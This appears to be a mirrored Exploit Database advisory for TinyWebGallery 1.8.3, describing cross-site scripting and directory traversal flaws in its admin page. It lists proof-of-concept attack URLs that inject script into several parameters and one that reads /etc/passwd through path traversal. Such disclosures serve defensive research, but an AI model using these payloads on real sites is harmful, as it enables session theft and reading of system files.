TinyWebGallery 1.8.3 – Cross-Site Scripting / Local File Inclusion

• Exploit Database
• 12 阅读

• 作者： Yam Mesicka
  日期： 2011-02-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35298/

• source: https://www.securityfocus.com/bid/46086/info
  
  TinyWebGallery is prone to local file-include and cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
  
  A remote attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
  Exploiting the local file-include issue allows the attacker to view and subsequently execute local files within the context of the webserver process.
  
  TinyWebGallery 1.8.3 is vulnerable; other versions may also be affected. 
  
  xamples:
  http://www.example.com/twg183/admin/index.php?sview="onmouseover=alert(String.fromCharCode(88,83,83));"
  http://www.example.com/twg183/admin/index.php?tview="onmouseover=alert(String.fromCharCode(88,83,83));"
  http://www.example.com/twg183/admin/index.php?dir=<script>alert("xss")</script>
  http://www.example.com/twg183/admin/index.php?action=chmod&item=<script>alert("xss")</script>
  http://www.example.com/twg183/twg183/admin/index.php?action=chmod&item="><script>alert("xss")</script>
  ...
  
  --
  
  Vulnerability: Directory Traversal.
  Where:
  ~ File: /admin/index.php
  ~ Parameters: item
  
  Example:
  http://www.example.com/twg183/admin/index.php?action=edit&item=../../../etc/passwd